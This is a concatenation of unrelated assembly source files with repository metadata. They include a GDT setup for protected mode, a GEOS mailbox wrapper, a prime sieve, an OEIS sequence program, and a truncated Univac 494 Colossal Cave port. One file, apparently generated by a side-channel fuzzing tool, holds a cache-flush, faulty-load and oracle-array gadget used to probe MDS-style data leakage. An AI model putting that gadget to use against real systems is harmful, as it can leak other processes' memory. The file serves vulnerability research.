; GDT global descriptor table ; defines memory segments and their protected-mode attributes ; Once the CPU has been switched into 32-bit protected mode, ; the process by which it translates logical addresses ; to physical address is completely different ; rather than multiply the value of a segment register by 16 ; and then add to it the offset, ; a segment register becomes an index to ; a particular segment descriptor (SD) in the ; A segment descriptor is an 8-byte structure ; that defines the following properties of a protected-mode segment ; Base address (32 bits), which defines where the segment begins in physical memory ; Segment Limit (20 bits), which defines the size of the segment ; Various flags, which affect how the CPU interprets the segment, ; such as the privilige level of code ; that runs within it or whether it is read- or write-only. ; The simplest workable configuration of segment registers ; is described by Intel as the basic flat model, ; whereby two overlapping segments are defined ; that cover the full 4 GB of addressable memory, ; one for code and the other for data gdt_start: ; the CPU requires that the first entry ; in the GDT purposely be an invalid null descriptor ; The null descriptor is a simple mechanism to catch mistakes ; where we forget to set a particular segment register before accessing an address ; If an addressing attempt is made with the null descriptor, ; then the CPU will raise an exception, which essentially is an interrupt gdt_null: ; the mandatory null descriptor dd 0x0 ; ’dd ’ means define double word ( i.e. 4 bytes ) dd 0x0 ; |31 24|23 |22 |21 |20 |19 16|15 |14 13|12 |11 8|7 0| ; |Base 31:24 |G |D/B |L |AVL |Seg. Limit |P |DPL |S |Type |Base 23:16 | ; |Base 15::00 |Segment Limit 15:00 | ; L: 64-bit code segment (IA-32e mode only) ; AVL: Available for use by system software ; BASE: Segment base address ; D/B: Default operation size (0 = 16-bit segment; 1 = 32-bit segment) ; DPL: Descriptor privilege level ; G: Granuarity ; LIMIT: Segment Limit ; P: Segment present ; S: Descriptor type (0 = system; 1 = code or data) ; TYPE: Segment type ; Our code segment will have the following configuration ; Base: 0x0 ; Limit: 0xfffff ; Present: 1, since segment is present in memory - used for virtual memory ; Privilige: 0, ring 0 is the highest privilige ; Descriptor type: 1 for code or data segment, 0 is used for traps ; Type: ; - Code: 1 for code, since this is a code segment ; – Conforming: 0, code in a segment with a lower privilege may not call code in this segment ; – Readable: 1, 1 if readible, 0 if execute-only. Readible allows us to read constants defined in the code. ; – Accessed: 0 This is often used for debugging and virtual memory techniques, ; since the CPU sets the bit when it accesses the segment ; Other flags: ; - Granularity: 1, if set, this multiplies our limit by 4K ; - 32-bit default: 1, since our segment will hold 32-bit code ; - 64-bit code segment: 0 ; - AVL: 0, We can set this for our own uses ; Since we are using a simple flat model, with two overlapping code and data segments, ; the data segment will be identical but for the type flags ; - Code: 0 for data ; - Expand down: 0 ; - Writable: 1 ; - Accessed: 0 gdt_code: ; the code segment descriptor ; base =0x0 , limit =0 xfffff , ; 1st flags : ( present )1 ( privilege )00 ( descriptor type )1 -> 1001 b ; type flags : ( code )1 ( conforming )0 ( readable )1 ( accessed )0 -> 1010 b ; 2nd flags : ( granularity )1 (32 - bit default )1 (64 - bit seg )0 ( AVL )0 -> 1100 b dw 0xffff ; Limit ( bits 0 -15) dw 0x0 ; Base ( bits 0 -15) db 0x0 ; Base ( bits 16 -23) db 10011010b ; 1st flags , type flags db 11001111b ; 2nd flags , Limit ( bits 16 -19) db 0x0 ; Base ( bits 24 -31) gdt_data: ; the data segment descriptor ; Same as code segment except for the type flags : ; type flags : ( code )0 ( expand down )0 ( writable )1 ( accessed )0 -> 0010 b dw 0xffff ; Limit ( bits 0 -15) dw 0x0 ; Base ( bits 0 -15) db 0x0 ; Base ( bits 16 -23) db 10010010b ; 1st flags , type flags db 11001111b ; 2nd flags , Limit ( bits 16 -19) db 0x0 ; Base ( bits 24 -31) ; The reason for putting a label at the end of the ; GDT is so we can have the assembler calculate ; the size of the GDT for the GDT decriptor ( below ) ; GDT descriptior gdt_end: ; the CPU needs to know how long our GDT is ; we instead give the address ; of a much simpler structure called the GDT descriptor gdt_descriptor: ; GDT descriptior dw gdt_end - gdt_start - 1 ; size of our GDT, (16 bits) ; always less one of the true size dd gdt_start ; Start address of our GDT (32 bits) ; Define some handy constants for the GDT segment descriptor offsets , which ; are what segment registers must contain when in protected mode. For example , ; when we set DS = 0 x10 in PM , the CPU knows that we mean it to use the ; segment described at offset 0 x10 ( i.e. 16 bytes ) in our GDT, ; which in our case is the DATA segment ; (0x0 -> NULL ; 0x08 -> CODE ; 0x10 -> DATA ) CODE_SEG equ gdt_code - gdt_start DATA_SEG equ gdt_data - gdt_start
46.684211
110
0.689215
294bfd00e31ceaea84e23cbad1dc7cc1e1703dc8
128
asm
Assembly
examples/litera.asm
Cichy3D/Komp2IDE
b4eee06ac254d7a3d4f71376329646fb5323bf75
[ "Apache-2.0" ]
null
null
null
examples/litera.asm
Cichy3D/Komp2IDE
b4eee06ac254d7a3d4f71376329646fb5323bf75
[ "Apache-2.0" ]
null
null
null
examples/litera.asm
Cichy3D/Komp2IDE
b4eee06ac254d7a3d4f71376329646fb5323bf75
[ "Apache-2.0" ]
null
null
null
:start Print "Enter one character" load a 0a; mov e a; print e input b; print "Character entered: " print b print e goto :start
11.636364
27
0.726563
e2e4b070f12fa54c98e8c7975ae207cb0f9bff64
6,459
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0xca_notsx.log_21829_110.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0xca_notsx.log_21829_110.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0xca_notsx.log_21829_110.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r14 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x184c4, %rcx clflush (%rcx) nop cmp $31763, %r13 movb (%rcx), %r10b sub %rax, %rax lea addresses_UC_ht+0x1d0c4, %rdx cmp $31175, %rax movb $0x61, (%rdx) nop nop nop nop nop add %rdx, %rdx lea addresses_normal_ht+0xb758, %rdx nop nop cmp %r14, %r14 mov (%rdx), %edi nop and $5815, %rax lea addresses_normal_ht+0x152c4, %r14 nop nop nop nop add $12528, %r13 mov $0x6162636465666768, %rcx movq %rcx, %xmm5 vmovups %ymm5, (%r14) dec %r10 lea addresses_WC_ht+0x1d194, %rsi lea addresses_UC_ht+0xa1c4, %rdi nop nop nop and $32630, %r14 mov $99, %rcx rep movsb xor %rdi, %rdi lea addresses_A_ht+0x8884, %rdi nop nop nop nop cmp $41644, %r13 mov $0x6162636465666768, %r14 movq %r14, %xmm6 movups %xmm6, (%rdi) nop nop nop and $16329, %rax lea addresses_WT_ht+0x195e8, %rsi nop nop xor $36599, %rcx mov $0x6162636465666768, %r10 movq %r10, (%rsi) nop nop and %rcx, %rcx lea addresses_normal_ht+0x9dc4, %rsi lea addresses_UC_ht+0x150cc, %rdi dec %r14 mov $19, %rcx rep movsl nop nop nop sub $16347, %rax pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r14 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r13 push %r14 push %rax push %rdi push %rsi // Store lea addresses_WT+0x1d84, %r14 nop and $17616, %r10 movb $0x51, (%r14) nop nop nop add %rsi, %rsi // Store lea addresses_normal+0xb7c4, %rdi nop nop nop nop add %r12, %r12 movl $0x51525354, (%rdi) nop nop nop nop nop sub $49882, %r13 // Faulty Load lea addresses_RW+0x1a1c4, %rsi clflush (%rsi) nop nop nop nop cmp %rdi, %rdi mov (%rsi), %r10w lea oracles, %r12 and $0xff, %r10 shlq $12, %r10 mov (%r12,%r10,1), %r10 pop %rsi pop %rdi pop %rax pop %r14 pop %r13 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_WT', 'size': 1, 'AVXalign': True}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': True, 'type': 'addresses_normal', 'size': 4, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 2, 'AVXalign': True}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False}} {'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False}} {'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 6, 'NT': False, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': True}} {'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
37.994118
2,999
0.658926
5a2716a15397f1348dc35438dac103ab2496f86a
2,967
asm
Assembly
Library/Mailbox/Media/mediaC.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Library/Mailbox/Media/mediaC.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Library/Mailbox/Media/mediaC.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Geoworks 1994 -- All Rights Reserved PROJECT: Clavin MODULE: Media FILE: mediaC.asm AUTHOR: Chung Liu, Nov 22, 1994 ROUTINES: Name Description ---- ----------- MAILBOXCHECKMEDIUMAVAILABLE MAILBOXCHECKMEDIUMCONNECTED MAILBOXGETFIRSTMEDIUMUNIT REVISION HISTORY: Name Date Description ---- ---- ----------- CL 11/22/94 Initial revision DESCRIPTION: C Interface $Id: mediaC.asm,v 1.1 97/04/05 01:20:33 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SetGeosConvention C_Mailbox segment resource COMMENT @---------------------------------------------------------------------- C FUNCTION: MailboxCheckMediumAvailable C DECLARATION: Boolean (MediumType mediumType, word unitNum, MediumUnitType unitType) KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CHL 11/94 Initial version ------------------------------------------------------------------------------@ MAILBOXCHECKMEDIUMAVAILABLE proc far mediumType:dword, unitNum:word, unitType:word .enter movdw cxdx, mediumType mov bx, unitNum mov ax, unitType call MailboxCheckMediumAvailable mov ax, 0 jnc exit ;carry clear if medium absent dec ax exit: .leave ret MAILBOXCHECKMEDIUMAVAILABLE endp COMMENT @---------------------------------------------------------------------- C FUNCTION: MailboxCheckMediumConnected C DECLARATION: Boolean (MediumType mediumType, word unitNum, MediumUnitType unitType) KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CHL 11/94 Initial version ------------------------------------------------------------------------------@ MAILBOXCHECKMEDIUMCONNECTED proc far mediumType:dword, unitNum:word, unitType:word .enter movdw cxdx, mediumType mov bx, unitNum mov ax, unitType call MailboxCheckMediumConnected mov ax, 0 jnc exit dec ax exit: .leave ret MAILBOXCHECKMEDIUMCONNECTED endp COMMENT @---------------------------------------------------------------------- C FUNCTION: MailboxGetFirstMediumUnit C DECLARATION: word (MediumType mediumType, MediumUnitType *unitType) KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CHL 11/94 Initial version ------------------------------------------------------------------------------@ MAILBOXGETFIRSTMEDIUMUNIT proc far mediumType:dword, unitType:fptr .enter movdw cxdx, mediumType call MailboxGetFirstMediumUnit les bp, unitType ; (can destroy bp b/c no local vars) mov es:[bp], ax mov_tr ax, bx .leave ret MAILBOXGETFIRSTMEDIUMUNIT endp C_Mailbox ends SetDefaultConvention
23.362205
80
0.553421
00a3be90a932105e950710750f3252ca2225bb6c
371
asm
Assembly
programs/oeis/094/A094053.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/094/A094053.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/094/A094053.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A094053: Triangle read by rows: T(n,k) = k*(n-k), 1 <= k <= n. ; 0,1,0,2,2,0,3,4,3,0,4,6,6,4,0,5,8,9,8,5,0,6,10,12,12,10,6,0,7,12,15,16,15,12,7,0,8,14,18,20,20,18,14,8,0,9,16,21,24,25,24,21,16,9,0,10,18,24,28,30,30,28,24,18,10,0,11,20,27,32,35,36,35,32,27,20,11,0,12 add $0,1 cal $0,128139 ; Triangle read by rows: matrix product A004736 * A128132. mov $1,$0 sub $1,1
46.375
203
0.61186
fe87bbfb2258f2a3d598acecf28212897aa293f3
2,149
asm
Assembly
EPASMX86_64/Primes.asm
JoshuaWierenga/EmbeddedPrimes
ae734d1eb4b82e660f82a14b8af6985539aebe4e
[ "MIT" ]
null
null
null
EPASMX86_64/Primes.asm
JoshuaWierenga/EmbeddedPrimes
ae734d1eb4b82e660f82a14b8af6985539aebe4e
[ "MIT" ]
null
null
null
EPASMX86_64/Primes.asm
JoshuaWierenga/EmbeddedPrimes
ae734d1eb4b82e660f82a14b8af6985539aebe4e
[ "MIT" ]
null
null
null
extern malloc: PROC extern free: PROC .code generate_primes PROC ; Rather than continually pushing and poping n and pSize to get around malloc overridding them since they are volatile ; some non volatile registers can be backed up and then used to house n and pSize push r12 push r13 mov r12, rcx ; n mov r13, rdx ; pSize ; Allocate boolean array shr rcx, 1 sub rsp, 20h call malloc add rsp, 20h mov r8, 1 booleanFillLoop: mov rcx, r8 shr rcx, 1 mov byte ptr [rax + rcx], 1 add r8, 2 cmp r8, r12 jl booleanFillLoop ; Performs r11 = ceil(sqrt(r12)) for max factor, sqrt is done here and ceil is done implicitly using comparisons ; Assumes sse2 support, todo check first and use fpu otherwise? ; sse2 support is in x86_64 baseline though, it might be fine to assume support cvtsi2sd xmm0, r12 sqrtsd xmm0, xmm0 cvttsd2si r11, xmm0 mov r8, 3 ; outer loop counter mov r9, 1 ; prime count primeCheckLoop: ; ensure prime status ; TODO: See if any performance can be gained by moving this check, 3 will always pass mov rcx, r8 shr rcx, 1 cmp byte ptr [rax + rcx], 1 jne primeCheckLoopIterate inc r9 ; ensure r8 <= r11/max factor for performance since only going that far will give the same result cmp r8, r11 jg primeCheckLoopIterate ; inner loop counter mov r10, r8 shl r10, 1 add r10, r8 primeCheckLoopInner: cmp r10, r12 jnl primeCheckLoopIterate mov rcx, r10 shr rcx, 1 mov byte ptr [rax + rcx], 0 add r10, r8 add r10, r8 jmp primeCheckLoopInner primeCheckLoopIterate: add r8, 2 cmp r8, r12 jl primeCheckLoop mov dword ptr [r13], r9d mov r13, rax ; bool array ; Allocate integer array shl r9, 2 mov rcx, r9 sub rsp, 20h call malloc add rsp, 20h mov dword ptr [rax], 2 mov r8, 3; loop counter/bool array indexer mov r9, 4; int array indexer primeFillLoop: mov rcx, r8 shr rcx, 1 cmp byte ptr [r13 + rcx], 1 jne primeFillLoopIterate mov dword ptr [rax + r9], r8d add r9, 4 primeFillLoopIterate: add r8, 2 cmp r8, r12 jl primeFillLoop mov rcx, r13 mov r13, rax sub rsp, 20h call free add rsp, 20h mov rax, r13 pop r13 pop r12 ret generate_primes ENDP END
19.898148
119
0.721731
018f530ff7d183d885a4775602cd3f0838c0db2a
89,101
asm
Assembly
U494/Source/Cave.asm
sboydlns/univacemulators
c630b2497bee9cb9a18b4fa05be9157d7161bca3
[ "MIT" ]
2
2021-02-09T21:54:54.000Z
2021-09-04T03:30:50.000Z
U494/Source/Cave.asm
sboydlns/univacemulators
c630b2497bee9cb9a18b4fa05be9157d7161bca3
[ "MIT" ]
null
null
null
U494/Source/Cave.asm
sboydlns/univacemulators
c630b2497bee9cb9a18b4fa05be9157d7161bca3
[ "MIT" ]
null
null
null
START BEGIN . ER$DEF DTF$DEF . BEGIN LA,W SETUP,,AZERO J L1 LA 1 SA,W SETUP SA,W I OPEN INFILE . . READ THE FIRST LINE OF A GROUP OF RECORDS TO GET THE RECORD . TYPE. RECORD TYPE OCCUPIES THE FIRST WORD OF THE RECORD. . L1002 READ INFILE SLJ GETRTYPE JT CFG$ERR,,ANEG . REC TYPE NOT IN RANGE TA 7D,,YMORE J CFG$ERR . REC TYPE NOT IN RANGE SA,W IKIND LB,A B1 J,L RT$JUMP,B1 . GO TO APPROPRIATE ROUTINE . . READ LOCATION TYPE INFO INTO THE LLINE TABLE . L1004 READ INFILE SLJ GETRTYPE . GET LOCATION ID JE 9999D,L1002 . ID = 9999, END OF TABLE SA,W JKIND LQ,W I . LLINE ITEM INDEX ZA . MULT BY 17 M LLSIZE AQ LLINE SQ,W LLCRNT . SAVE FOR LATER LB,W B1,LLCRNT . B1 = LLINE ITEM LB B2,0 . B2 = INPUT TEXT L1006 LA,W INREC+1D,B2 SA,W LLTEXT,B1 NA 0,,ANOT . WORD = ALL ONES? J L1007 . YES, END OF TEXT TBI B1,77777 . NO, LOOP TBI B2,14D J L1006 L1007 LA,W CR . ADD <CR> TO END OF LINE SA,W LLTEXT,B1 LB,W B1,LLCRNT . SAVE ITEM LENGTH TBI B2,77777 SB,W B2,LLLEN,B1 LA,W IKIND JE 6,L1023 . REC TYPE = 6? JE 5,L1011 . REC TYPE = 5? JE 1,L1008 . REC TYPE = 1? . . RECORD TYPE 2 (SHORT ROOM LABELS) . LB,W B1,JKIND LA,W I SA,W STEXT,B1 J L1010 . . RECORD TYPE 1 (LONG DESCRIPTIONS) . L1008 LB,W B1,JKIND . LTEXT(JKIND) <> 0 LA,W LTEXT,B1,AZERO J L1009 LA,W I . LTEXT(JKIND) = I SA,W LTEXT,B1 J L1010 L1009 LA,W LLCRNT . LLINE(I-1,1) = I AN LLSIZE LB,A B1 LA,W I SA,W LLNEXT,B1 L1010 RI,W I . I = I + 1 TA 601D,,YLESS . TABLE FULL? J L1004 TYPE TMLLEN,TMLERR . YES HALT 1D . . RECORD TYPE 5 (STATIC GAME STATES) . L1011 LA,W JKIND . JKIND < 200 TA 200D,,YLESS J L1012 . YES AN 100D . JKIND - 100 LB,A B1 LA,W BTEXT,B1,AZERO . BTEXT(JKIND-100) = 0? J L1009 . NO LQ,W I SQ,W BTEXT,B1 . BTEXT(JKIND-100) = I LA,W JKIND AN 200D LB,A B1 SQ,W BTEXT,B1 . BTEXT(JKIND-200) = I J L1010 L1012 LB,W B1,JKIND LA,W BTEXT,B1,AZERO . BTEXT(JKIND) = 0? J L1009 . NO LA,W I SA,W BTEXT,B1 J L1010 . . RECORD TYPE 3 (TRAVEL DATA) . L1013 LA 1 . I = 1 SA,W I L1014 READ INFILE SLJ GETRTYPE . GET JKIND JE 9999D,L1002 . ID = 9999, END OF TABLE SA,W JKIND LA,W INREC+1D . GET LKIND LQ,W SPACES DEC2INT SA,W LKIND . . GET TABLE OF UP TO 10 NUMBERS . R 11D,,ADV . CLEAR TABLE SZ,W TK LB B1,2 . B1 = INREC LB B2,1 . B2 = TK L1014A LA,W INREC,B1 . GET # FROM IN REC NA 0,,ANOT . = 7777777777? J L1014B . YES, END OF RECORD LA,W INREC,B1 . NO, CVT TO INTEGER LQ,W SPACES DEC2INT SA,W TK,B2 . SAVE IT TBI B1,77777 . BUMP INDICES TBI B2,10D J L1014A . LOOP L1014B LB,W B1,JKIND LA,W KEY,B1,AZERO . KEY(JKIND) <> 0 J L1016 . YES LA,W I . KEY(JKIND) = I SA,W KEY,B1 J L1017 L1016 LB,W B1,I . TRAVEL(I-1) = -TRAVEL(I-1) JBD B1,$+1 LA,W TRAVEL,B1 NA SA,W TRAVEL,B1 L1017 LB B2,1 . FOR L=1 TO 10 L1017A LA,W TK,B2,ANOT . TK(L) = 0? J L1019 . YES LQ,W LKIND . LKIND*1024 LSQ 10D AQ,A . LKIND*1024+TK(L) LB,W B1,I SQ,W TRAVEL,B1 . TRAVEL(I)=LKIND*1024+TK(L) RI,W I . I = I+1 JNE 400D,L1018 . IF I<>1000 GOTO L1017 TYPE TM3LEN,TM3ERR HALT 2D L1018 TBI B2,10D J L1017A L1019 LB,W B1,I . TRAVEL(I-1)=-TRAVEL(I-1) JBD B1,$+1 LA,W TRAVEL,B1 NA SA,W TRAVEL,B1 J L1014 . . RECORD TYPE 4 (GROUPED VOCABULARY KEYWORDS) . L1020 LB B1,1 . FOR IU=1 TO 200 L1020A READ INFILE SLJ GETRTYPE . GET ID SA,W KTAB,B1 LQ,W INREC+1D SQ,W ATAB,B1 JE 9999D,L1002 . ID = 9999, END OF TABLE TBI B1,200D J L1020A TYPE TMWLEN,TMWERR HALT 3D . . RECORD TYPE 6 (HINTS AND EVENTS) . L1023 LB,W B1,JKIND . RTEXT(JKIND) = 0? LA,W RTEXT,B1,AZERO J L1009 . NO LA,W I . RTEXT(JKIND) = I SA,W RTEXT,B1 J L1010 . . CONFIGURATION FILE LOADED . L1100 TYPE CLLEN,CFGLOADED CLOSE INFILE LB B1,1 . FOR I=1 TO 100 L1101 LA,W IPLT,B1 SA,W IPLACE,B1 LA,W IFIXT,B1 SA,W IFIXED,B1 SZ,W ICHAIN,B1 TBI B1,100D J L1101 LB B1,1 . FOR I=1 TO 300 L1102 SZ,W COND,B1 SZ,W ABB,B1 SZ,W IOBJ,B1 TBI B1,300D J L1102 LA 1 R 10D,,ADV . FOR I=1 TO 10 SA,W COND+1D L1103 LA 2 SA,W COND+16D SA,W COND+20D SA,W COND+21D SA,W COND+22D SA,W COND+23D SA,W COND+24D SA,W COND+25D SA,W COND+26D SA,W COND+31D SA,W COND+32D SA,W COND+79D LB B1,1 . FOR I=1 TO 100 L1107A LA,W IPLACE,B1,ANOT . IPLACE(I) = 0? J L1107 . YES, CONTINUE LB,A B2 . KTEM = IPLACE(I) LA,W IOBJ,B2,AZERO . IOBJ(KTEM) = 0? J L1104 . NO SB,W B1,IOBJ,B2 . IOBJ(KTEM) = I J L1107 L1104 LB,W B2,IOBJ,B2 . KTEM = IOBJ(KTEM) L1105 LA,W ICHAIN,B2,AZERO . ICHAIN(KTEM) = 0? J L1106 . NO SB,W B1,ICHAIN,B2 . ICHAIN(KTEM) = I J L1107 L1106 LB,W B2,ICHAIN,B2 . KTEM = ICHAIN(KTEM) J L1105 L1107 TBI B1,100D . BUMP I J L1107A SZ,W IDWARF SZ,W IWEST SZ,W IDETAL LA 1 SA,W IFIRST SA,W ILONG . TYPE IDLEN,INITDONE . . WELCOME TO CAVE . L1 SLJ YES . DISPLAY 'WELCOME TO CAVE' +65D +1D +0 +0 LA 1 SA,W LL SA,W LOC L2 LB B1,1 . FOR I=1 TO 3 L73A LA,W ODLOC,B1 . ODLOC(I) <> L? AN,W LL,,AZERO J L73 . YES LA,W DSEEN,B1,ANOT . DSEEN(I) = 0? J L73 . YES LA,W LOC . L = LOC SA,W LL SLJ SPEAK . A DWARF BLOCKS YOUR WAY +2D J L74 L73 TBI B1,3D . I = I + 1 J L73A L74 LA,W LL . LOC = L SA,W LOC . . DWARF STUFF . LA,W IDWARF,,AZERO . IDWARF = 0? J L60 . NO LA,W LOC . LOC = 15? JNE 15D,L71 . NO LA 1 . YES, IDWARF = 1 SA,W IDWARF J L71 L60 JNE 1D,L63 . IDWARF <> 1, THEN 63 . GET A RANDOM NUMBER. THERE IS A 5% CHANCE THAT THE FOLLOWING CODE . WILL DISPLAY A MESSAGE ABOUT THE DWARF THROWING AN AXE AND MISSING. SLJ RANDOM . GET RANDOM # < 100 +100D JG 5,L71 . RANDOM # > 5 THEN 71 LA 2 . IDWARF = 2 SA,W IDWARF LB B1,1 . FOR I=1 TO 3 L61 SZ,W DLOC,B1 SZ,W ODLOC,B1 SZ,W DSEEN,B1 TBI B1,3D J L61 SLJ SPEAK . DWARF THREW AXE AND MISSED +3D LB,W B1,AXE . CHAIN(AXE) = IOBJ(LOC) LB,W B2,LOC LA,W IOBJ,B2 SA,W ICHAIN,B1 SB,W B1,IOBJ,B2 SB,W B2,IPLACE,B1 J L71 . L63 RI,W IDWARF . IDWARD = IDWARF + 1 SZ,W ATTACK SZ,W DTOT SZ,W STICK LB B1,1 . FOR I = 1 TO 3 L66A SB,A B1 . 